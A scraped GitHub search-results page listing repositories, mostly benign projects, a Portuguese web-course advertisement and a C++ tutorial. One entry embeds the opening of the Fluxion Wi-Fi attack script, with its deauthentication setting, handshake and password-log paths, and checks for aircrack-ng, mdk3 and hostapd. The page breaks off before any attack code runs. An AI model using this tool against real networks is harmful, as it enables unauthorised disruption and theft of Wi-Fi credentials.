223 skills found · Page 3 of 8
Fus3n / CupscriptCupScript Is A Simple Scripting Language Completely Created Using Python
ioef / SPSEThis repository includes the instructor examples along with personal solutions for all the modules of SPSE. SPSE (Security Tube Python Scripting Expert) is a course that touches upon security aspects and Proof-of-Concepts in vulnerability assessment, penetration testing and exploitation that materialize through the Python Programming Language.
tg21 / Python On Pailspython on pails : An infant python based framework that uses python3 a server side scripting language.
avrae / DraconicThe Draconic language: a scripting language based off Python to run user scripts on the server safely.
rishabhdugar / Android Localization HelperA python script that helps you create strings.xml for all languages in different hierarchical folder(using Google Translation API)
NFGRICHARD / Curso WebSeja muito bem vindo ao Curso Desenvolvimento Web Moderno com JavaScript! COMPLETO 2020 + Projetos! Esse que talvez seja o maior e mais completo curso de tecnologia do mercado. São quase 600 aulas divididas em 33 capítulos com mais de 85 horas. Além dos fundamentos e vários exercícios, são vários projetos com as principais tecnologias da atualidade com aplicação na vida real, te ensinando a ser um desenvolvedor Web desde o básico até ao nível profissional avançado. Neste curso você vai aprender os 3 principais frameworks do mercado: Angular, React e VUE. Tudo que você precisa aprender para construir aplicações modernas para Web você aprenderá aqui e com aplicações reais. Desenvolvimento Web é hoje um dos assuntos mais relevantes do momento porque o mercado respira Web. E Se você deseja ser um profissional preparado para o mercado e não quer aprender apenas fórmulas, mas o porquês, esse curso é a escolha certa pra você. Neste curso iremos abordar o desenvolvimento Web de ponta a ponta, para que você seja capaz de construir uma aplicação com as principais tecnologias do mercado. São 14 cursos dentro de um só. Você irá aprender Javascript, que é hoje a linguagem da atualidade, várias empresas estão migrando suas bases de PHP, Python e outras para terem suas bases completamente feitas em javascript. Também irá aprender Node, os últimos recursos de HTML e CSS, Gulp, Webpack, jQuery, Bootstrap, React ( Tecnologia usada por umas das maiores empresas do mundo, o Facebook), Angular, Vue JS, ExpressJS, MySQL, MongoDB e Electron. O melhor de tudo é que durante a nossa jornada iremos agrupar essas tecnologias em desafios e projetos para consolidar o seu conhecimento. Você aprenderá a dominar tecnologias de frontend - que é a parte da aplicação executada no browser do usuário, e tecnologias de backend - que é o código executado no lado do servidor. O curso vai abranger essas duas partes, além de se preocupar muito com os fundamentos que são comuns à toda aplicação. Nesse curso você também irá aprender os paradigmas de programação usados na Web Moderna: Funcional, Orientação a Objeto e etc. Aplicações Web baseadas em Componentes. Conteúdo suficiente para você conseguir um emprego como desenvolvedor Web Fullstack e se tornar um desenvolvedor Web de sucesso. Um dos maiores diferenciais dos nossos cursos é que Nós não ensinamos apenas fórmulas, você vai terminar esse curso entendendo os porquês, a lógica de como a coisa acontece, o que vai te tornar um profissional muito mais qualificado e competitivo no mercado. E no projeto final do curso iremos desenvolver uma aplicação exclusiva que surgiu de uma necessidade real da Cod3r. Assista a essa aula sem custo e confira o que você vai poder desenvolver junto com a gente. Por isso o que temos aqui não é apenas um curso, e sim um agrupamento de 14 cursos e um investimento certo pra sua carreira. Assista as aulas abertas e confira a qualidade do nosso conteúdo, e veja também, os comentários dos nosso alunos sobre a nossa didática. Somos a escola de tecnologia com uma das melhores avaliações do mercado. Não tenho dúvida que você estará fazendo um excelente investimento se juntando à nossa comunidade de mais de 60 mil alunos. E sabe o que mais? Você vai receber um certificado de conclusão ao final do curso, e o seu acesso é vitalício, não expira. E se mesmo depois de tudo que apresentamos, mesmo assim você não gostou do curso, nós garantimos o seu dinheiro de volta em até 30 dias após a compra de forma simples. Desenvolvimento Web Moderno com JavaScript Completo é um curso voltado para todos os tipos de público: Iniciantes, intermediários e avançados. Um curso de desenvolvimento web zero to hero, onde você aprenderá dos conceitos básicos de programação, JavaScript, Node.js, Web, ESNext, HTML5, CSS3, Ajax, Gulp, Webpack, jQuery, Bootsrap, React, VueJS, Angular 9, banco de dados relacional, banco de dados não relacional, Express… Faremos vários projetos utilizando essas tecnologias, projetos que simulam aplicações reais, com backend e frontend para tornar-te um desenvolvedor fullstack, profissão com alta demanda no mercado de trabalho. Nosso curso também contará com uma aplicação que vai te ajudar nos estudos de inglês que é uma Aplicação Desktop com JavaScript, Electron JS e Vue JS - Neste curso iremos também desenvolver um projeto desktop com JavaScript! E que pode ajudar você nos seus estudos de inglês. Nessa aplicação usaremos: Electron JS, VueJS, Vuetify, Promises, Regex, Processamento de arquivos, Map, reduce, filter A aplicação que será desenvolvida irá processar várias legendas no formato SRT e procurar e agrupar quais são as palavras mais utilizadas nas legendas fornecidas. Essa aplicação pode ser útil para se descobrir quais são as palavras mais utilizadas em filmes e seriados, ou seja, além de aprender várias tecnologias, esse projeto pode te ajudar no aprendizado de inglês! Nosso curso termina com um projeto base de conhecimento que vai da primeira linha de código até a publicação da aplicação na AWS (Amazon Web Services). Dispomos de um suporte ágil e pronto para atendê-los em suas dúvidas, sejam conceituais, configuração de ambiente até codificação em si. Alguns conceitos sobre os tópicos que são abordados no curso: Lógica de programação: Lógica é a ferramenta mais importante do desenvolvedor. Nesse tópico abordaremos conceitos fortes para o desenvolvimento do programador tais quais algoritmo, estrutura de dados, conceito de lógica. JavaScript: JavaScript é, sem dúvidas, uma das linguagens mais utilizadas do mundo. Hoje em dia JavaScript é forte no frontend (Páginas da web) como no backend (Node.js). No módulo de Javascript abordaremos conceitos fundamentais como Var, Let, Const, Tipagem, Number, Math, String, Boolean… Abordaremos também conceitos importantes como: Array, Object, null, undefined, this, function, hoisting, estrutura de objetos. Operadores destructuring, atribuição, aritméticos, relacionais, unários, ternários. Falaremos sobre contexto de execução Browser x Node, tratamento de erros e mais. Abordaremos estruturas de controle tais como, if, if/else, if/else/if, switch, while, do/while, for, for/in e a utilização de break e continue para controle de fluxo do código. Nos aprofundaremos bastante no conceito mais importante de JavaScript: Funções! Em function veremos parâmetros, retorno com return, parâmetros variáveis com parâmetros Rest e Arguments, parâmetro padrão, variações do this, função bind, arrow functions ou funções arrow, funções anônimas, funções callbacks, funções construtoras, contexto léxico, closures, funções factory, IIFE (Immediately Invoked Function Expression ou funções auto invocadas. Call e Apply, etc. Outro conceito muito utilizado em JavaScript que é amplamente abordado no nosso curso é o de Objeto! Veremos uma introdução à orientação a objetos. Criação de objetos, objetos constantes, notação literal, getters e setters, funções do objeto, herança, comparação JSON x Objeto e classes. Também estudaremos sobre Arrays, forte ferramenta utilizada no JavaScript, veremos seus métodos importantes, Foreach, Map, Filter, Reduce, Concat, FlatMap que são fundamentais para desenvolvimento em JavaScript. Veremos também a diferença entreas abordagens Imperativa e Declarativa para desenvolvimento de código. Node.js: Estudaremos, Node.js, a utilização de JavaScript no backend. Abordaremos a definição de módulo, estudaremos o sistema de módulos, utilização de módulos de terceiros, require, exports, o famoso arquivo package.json, instância única x nova instância, objeto global do Node x objeto global browser, aprofundaremos nossos estudos sobre o conceito de this, como passar parâmetros entre módulos, instalar deps e scripts, ler arquivos, escrever arquivos, frameworks web, padrão middleware, utilizaremos a ferramenta postman, estudaremos express, entrada e saída padrão. ESNext: São os novos conceitos do JavaScript, o que acabou de chegar e o que está por vir na linguagem. Veremos o operador Rest/Spread, tagged template, Map, Set, For Of, Promises, uso de callbacks aninhadas, refatoração de callbacks para promises, Async/Await. Conceitos Web: JavaScript é uma linguagem fortemente ligada à web e é absoluto que devemos entender como funciona a programação web, então estudaremos os conceitos de protocolo HTTP, servidor web, client side x server side, conteúdo estático x dinâmico. HTML5, CSS3 , JavaScript. DNS, HTTPS, Web Service, computação em nuvem. HTML5: HTML5 (Hypertext Markup Language ou Linguagem de Marcação de Hipertexto) é o bloco de construção mais básico da web e possui fundamental importância para o seu funcionamento. Abordaremos extensivamente seus conceitos como: Anatomia de uma tag, de uma página, as tags propriamente ditas, texto, listas, links, tabelas, formulários, imagens, vídeos e tags não visuais. CSS3: CSS3 (Cascading Style Sheets) é o responsável pela estilização do HTML5, portanto das páginas web. Ferramenta importantíssima e largamente abordada no nosso curso de web moderno. Estudaremos: Anatomia do CSS3, criação de classes, seletores CSS3, especifidades do CSS3, herança, box model, margin collapse, propriedade display, altura e largura, inline-block, box sizing, overflow, float, unidades, texto, positon, media query, flex box, css grid. Integração HTML5, CSS3 e Javascript: Após estudá-los separadamente faremos a sua integração e veremos como eles funcionam bem em conjunto! Veremos a DOM, elementos, atributos, classes, modificar html, trabalharemos com eventos e finalizaremos o módulo com um projeto para a criação de um game Flappy Bird utilizando HTML5, CSS3 e JavaScript. Ajax: Ajax (Asynchronous JavaScript and XML) é um conjunto importantíssimo de técnicas de desenvolvimento para trabalharmos de forma assíncrona na web. Veremos XMLHttpRequest, Fetch, Axios, Ajax com jQuery e como carregar HTML via Ajax. Gulp: Gulp é uma ferramenta de automação de tarefas em JavaScript. Veremos os conceitos, a documentação, fundamentos, Babel, processando JavaScript e TypeScript com Gulp, processando SASS com Gulp. Webpack: Webpack é um empacotador de módulo JavaScript, HTML, CSS, imagens, etc. Veremos configuração e estruturação do projeto, pasta de saída, carregamento e externalização do arquivo .CSS, .SCSS (SASS). Desenvolvimento e produção, carregamento de arquivos de imagens. Adicionando WebServer. jQuery: jQuery é uma biblioteca de funções JavaScript que interage com HTML, desenvolvida para simplificar os scripts interpretados no navegador do cliente. Veremos como selecionar elementos, modificar HTML, manipular atributos, manipular CSS, eventos, animação, plugins. Bootstrap: Bootstrap é um framework para desenvolvimento de componentes de interface e frontend para sites e aplicações web usando HTML, CSS e JavaScript. Veremos como adicionar navegações, tipografia, espaços, título e bradcrumb, cores, flexbox, imagens, float, sistema de grid, botões, alertas, paginação, tooltip, slider, accordion, formulário. React: React é uma biblioteca JavaScript com foco em criar interfaces de usuário em páginas web. É mantida pelo Facebook, Instagram e outras empresas. Utilizada nos sites da Netflix, Walmart, entre outros. Estudaremos componentes, componentes com parâmetros, múltiplos componentes, componentes de classe, componentes pai e filho. Next: Nesta seção serão abordados os principais fundamentos e conceitos do NextJS. O Next.JS nada mais é do que um framework para React, a principal biblioteca para desenvolvimento web. As principais funcionalidades do Next são a renderização estática e pelo lado do servidor (SSR), possuir suporte para o TypeScript e um serviço próprio de tratamento de rotas. Nessa seção também será criada uma aplicação para Criação, Leitura, Edição e Remoção de dados, o famoso CRUD (Create, Read, Update, Delete) com NextJS. Utilizando o Firebase e Firestore como banco de dados, utilizando também o TailwindCSS para criar o visual do projeto e integrando com TypeScript. Tudo isso será mostrado e explicado durante a seção, desde a criação do projeto, a instalação das dependências, configuração e integração com o banco de dados e também a integração e uso tanto do Tailwind quanto do TypeScript. VueJS: VueJS é um framework JavaScript focado no desenvolvimento de interfaces para usuários e aplicativos de página única. Estudaremos os conceitos, binding, eventos, diretivas v-if, v-for e v-show. Aplicação de estilo CSS, templeta na Vue instance, componentes e diretivas personalizadas. Angular 9: Angular 9 é uma plataforma de aplicações web baseado em TypeScript liderado pela equipe Angular do Google. Faremos um backend com JSON server, conceituaremos a ferramenta, utilização do angular-cli, AppComponent, componente cabeçalho, rodapé, navegação, elementos do Angular, componente início, diretivas, bindings, *ngFor, mensagens de erro. Banco de Dados Relacional: Utilizaremos o MySQL para estudarmos modelo E/R, chave primária, relacionamentos, SQL, schema, modelo, tabelas, inserir, consultar, atualizar, excluir, id, consultas, consultas com agregação, inner join, outer join, left join, right join. Banco de Dados Banco de Dados Não Relacional: Utilizaremos o MongoDB para estudarmos NoSQL, as diferenças entre bancos relacionais e não relacionais, comandos básicos, inserção de dados, consultas, consultas agregadas, update, remove, consultas com lookup. Express: Express é um framework com uma miríade de métodos utilitários HTTP e middleware para criação de API’s. Estudaremos as configurações e launcher, tipos de respostas, Middleware, leitura de dados da requisição, body parser, comunicação entre módulos. Finalmente, nosso curso é bastante voltado para a prática com várias partes importantes de projetos reais e projetos complexos de vários graus de dificuldade. Conosco é teoria na cabeça e mão na massa! Sejam bem vindos ao melhor curso de web moderno da internet. Invista em desenvolvimento web, invista na sua carreira, venha pra Cod3r. Grande abraço e bons estudos! O que você aprenderá Tudo que vc precisa saber para construir aplicações modernas para Web Criar aplicações REAIS usando as mais modernas tecnologias do mercado Últimos recursos de HTML, CSS, Javascript e vários frameworks Aprender HTML 5 e os últimos recursos da linguagem Aprender CSS 3 e como aplicar estilo usando as últimas tecnologias: CSS Grid, Flexbox e muito mais Domine Javascript de verdade, não apenas aprendendo a sintaxe, mas como pensar em Javascript Os últimos recursos do Javascript: ECMAScript 6, 7, 8. Também conhecido como ES2015, ES2016, ES2017, ES2018 ... Os principais frameworks (e bibliotecas): React, Vue, Bootstrap 4, jQuery Entendenda os paradigmas de programação usados na Web Moderna: Funcional, Orientação a Objeto etc Boas práticas de programação e padrões de projeto Aplicações Web baseadas em Componentes Projeto de aplicações reais Seja um desenvolvedor Fullstack dominando o frontend e o backend Conteúdo suficiente para você conseguir um emprego como desenvolvedor Web Fullstack Aprendenda banco de dados relacional e não relacional NoSQL Use MySQL, Postgres e MongoDB Desenvolva um sistema com autenticação de usuário Use Node JS e desenvolva usando Javascript no backend Acesse os principais bancos de dados usando Javascript e Node Aprenda a construir builds profissionais com Gulp e Webpack Conquistar toda a base para se tornar um desenvolvedor web de sucesso Todo o conteúdo para se tornar um profissional capacitado para o mercado de trabalho Aprenda as principais tecnologias da web nas últimas versões Desenvolver uma Aplicação com Angular 9 Os principais conceitos do Angular 9: Componentes, Diretivas, Pipes, Services e muito mais Aprender Angular na Prática de forma muito objetiva Desenvolvimento Web Há algum requisito ou pré-requisito para o curso? Acesso à internet e computador Vontade de aprender pra se tornar um Desenvolvedor Web Não é necessário conhecimento prévio de desenvolvimento Web Para quem é este curso: Pessoas que desejam se tornar desenvolvedores Web Fullstack, dominando tanto backend e frontend Pessoas que desejam aprender banco de dados relacional, SQL e banco não relacional (NoSQL) Pessoas que desejam aprender a usar MySQL, Postgres e MongoDB Pessoas que desejam aprender Node JS e como desenvolver Javascript no backend Pessoas que desejam aprender as tecnologias da web nas últimas versões: HTML5, CSS3, Javascript (como os novos recursos do ES2015 em diante) Pessoas que desejam aprender as principais frameworks e bibliotecas do mercado: React, Vue JS, jQuery, Bootstrap 4 ... Pessoas que querem entrar no mercado de trabalho como desenvolvedor frontend, backend ou fullstack Pessoas que querem empreender e precisam desenvolver soluções para Web Pessoas que nunca desenvolveram aplicações REAIS e querem aprender a construir várias APP do ZERO Pessoa que querem aprender em apenas um curso tudo para precisa para se tornar um desenvolvedor Fullstack O necessário para se tornar um desenvolvedor web completo Pessoas que desejam entender o desenvolvimento web como um todo
cdfarrow / FlextoolsPython scripting utility for SIL FieldWorks Language Explorer (FLEx)
nokibsarkar / Sqlite3 Incremental BackupThis is an utility script that incrementally backup SQLite3 Database. This approach was proposed by a Stackoverflow User which I turned into code. Currently the script may be run in two language NodeJs and Python. I am willing to convert this as a module. Feel free to convert into any language and let me know
sanusanth / C Basic Simple ProgramWhat is C++? C++ is a general-purpose, object-oriented programming language. It was created by Bjarne Stroustrup at Bell Labs circa 1980. C++ is very similar to C (invented by Dennis Ritchie in the early 1970s). C++ is so compatible with C that it will probably compile over 99% of C programs without changing a line of source code. Though C++ is a lot of well-structured and safer language than C as it OOPs based. Some computer languages are written for a specific purpose. Like, Java was initially devised to control toasters and some other electronics. C was developed for programming OS. Pascal was conceptualized to teach proper programming techniques. But C++ is a general-purpose language. It well deserves the widely acknowledged nickname "Swiss Pocket Knife of Languages." C++ is a cross-platform language that can be used to create high-performance applications. C++ was developed by Bjarne Stroustrup, as an extension to the C language. C++ gives programmers a high level of control over system resources and memory. The language was updated 3 major times in 2011, 2014, and 2017 to C++11, C++14, and C++17. About C++ Programming Multi-paradigm Language - C++ supports at least seven different styles of programming. Developers can choose any of the styles. General Purpose Language - You can use C++ to develop games, desktop apps, operating systems, and so on. Speed - Like C programming, the performance of optimized C++ code is exceptional. Object-oriented - C++ allows you to divide complex problems into smaller sets by using objects. Why Learn C++? C++ is used to develop games, desktop apps, operating systems, browsers, and so on because of its performance. After learning C++, it will be much easier to learn other programming languages like Java, Python, etc. C++ helps you to understand the internal architecture of a computer, how computer stores and retrieves information. How to learn C++? C++ tutorial from Programiz - We provide step by step C++ tutorials, examples, and references. Get started with C++. Official C++ documentation - Might be hard to follow and understand for beginners. Visit official C++ documentation. Write a lot of C++ programming code- The only way you can learn programming is by writing a lot of code. Read C++ code- Join Github's open-source projects and read other people's code. C++ best programming language? The answer depends on perspective and requirements. Some tasks can be done in C++, though not very quickly. For example, designing GUI screens for applications. Other languages like Visual Basic, Python have GUI design elements built into them. Therefore, they are better suited for GUI type of task. Some of the scripting languages that provide extra programmability to applications. Such as MS Word and even photoshop tend to be variants of Basic, not C++. C++ is still used widely, and the most famous software have their backbone in C++. This tutorial will help you learn C++ basic and the advanced concepts. Who uses C++? Some of today's most visible used systems have their critical parts written in C++. Examples are Amadeus (airline ticketing) Bloomberg (financial formation), Amazon (Web commerce), Google (Web search) Facebook (social media) Many programming languages depend on C++'s performance and reliability in their implementation. Examples include: Java Virtual Machines JavaScript interpreters (e.g., Google's V8) Browsers (e.g., Internet Explorer, Mozilla's Firefox, Apple's Safari, and Google's Chrome) Application and Web frameworks (e.g., Microsoft's .NET Web services framework). Applications that involve local and wide area networks, user interaction, numeric, graphics, and database access highly depend on C++ language. Why Use C++ C++ is one of the world's most popular programming languages. C++ can be found in today's operating systems, Graphical User Interfaces, and embedded systems. C++ is an object-oriented programming language which gives a clear structure to programs and allows code to be reused, lowering development costs. C++ is portable and can be used to develop applications that can be adapted to multiple platforms. C++ is fun and easy to learn! As C++ is close to C# and Java, it makes it easy for programmers to switch to C++ or vice versa Definition - What does C++ Programming Language mean? C++ is an object oriented computer language created by notable computer scientist Bjorne Stroustrop as part of the evolution of the C family of languages. Some call C++ “C with classes” because it introduces object oriented programming principles, including the use of defined classes, to the C programming language framework. C++ is pronounced "see-plus-plus." C++ Variables Variables are the backbone of any programming language. A variable is merely a way to store some information for later use. We can retrieve this value or data by referring to a "word" that will describe this information. Once declared and defined they may be used many times within the scope in which they were declared. C++ Control Structures When a program runs, the code is read by the compiler line by line (from top to bottom, and for the most part left to right). This is known as "code flow." When the code is being read from top to bottom, it may encounter a point where it needs to make a decision. Based on the decision, the program may jump to a different part of the code. It may even make the compiler re-run a specific piece again, or just skip a bunch of code. You could think of this process like if you were to choose from different courses from Guru99. You decide, click a link and skip a few pages. In the same way, a computer program has a set of strict rules to decide the flow of program execution. C++ Syntax The syntax is a layout of words, expression, and symbols. Well, it's because an email address has its well-defined syntax. You need some combination of letters, numbers, potentially with underscores (_) or periods (.) in between, followed by an at the rate (@) symbol, followed by some website domain (company.com). So, syntax in a programming language is much the same. They are some well-defined set of rules that allow you to create some piece of well-functioning software. But, if you don't abide by the rules of a programming language or syntax, you'll get errors. C++ Tools In the real world, a tool is something (usually a physical object) that helps you to get a certain job done promptly. Well, this holds true with the programming world too. A tool in programming is some piece of software which when used with the code allows you to program faster. There are probably tens of thousands, if not millions of different tools across all the programming languages. Most crucial tool, considered by many, is an IDE, an Integrated Development Environment. An IDE is a software which will make your coding life so much easier. IDEs ensure that your files and folders are organized and give you a nice and clean way to view them. Types of C++ Errors Another way to look at C++ in a practical sense is to start enumerating different kinds of errors that occur as the written code makes its way to final execution. First, there are syntax errors where the code is actually written in an illegible way. This can be a misuse of punctuation, or the misspelling of a function command or anything else that compromises the integrity of the syntax as it is written. Another fundamental type of error is a compiler error that simply tells the programmer the compiler was not able to do its work effectively. As a compiler language, C++ relies on the compiler to make the source code into machine readable code and optimize it in various ways. A third type of error happens after the program has been successfully compiled. Runtime errors are not uncommon in C++ executables. What they represent is some lack of designated resource or non-working command in the executable program. In other words, the syntax is right, and the program was compiled successfully, but as the program is doing its work, it encounters a problem, whether that has to do with interdependencies, operating system requirements or anything else in the general environment in which the program is trying to work. Over time, C++ has remained a very useful language not only in computer programming itself, but in teaching new programmers about how object oriented programming works.
visualblind / Scripts CollectionThis is a collection of all my scripts over a 13+ year time period. Languages: Bash/sh, HTML, JS, SQL, Perl, PHP, Python, PowerShell, CMD(Batch), WMI, Wsh, Docker/docker-compose.yml conf, Nginx (.conf)
Emersonmafra / F#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? 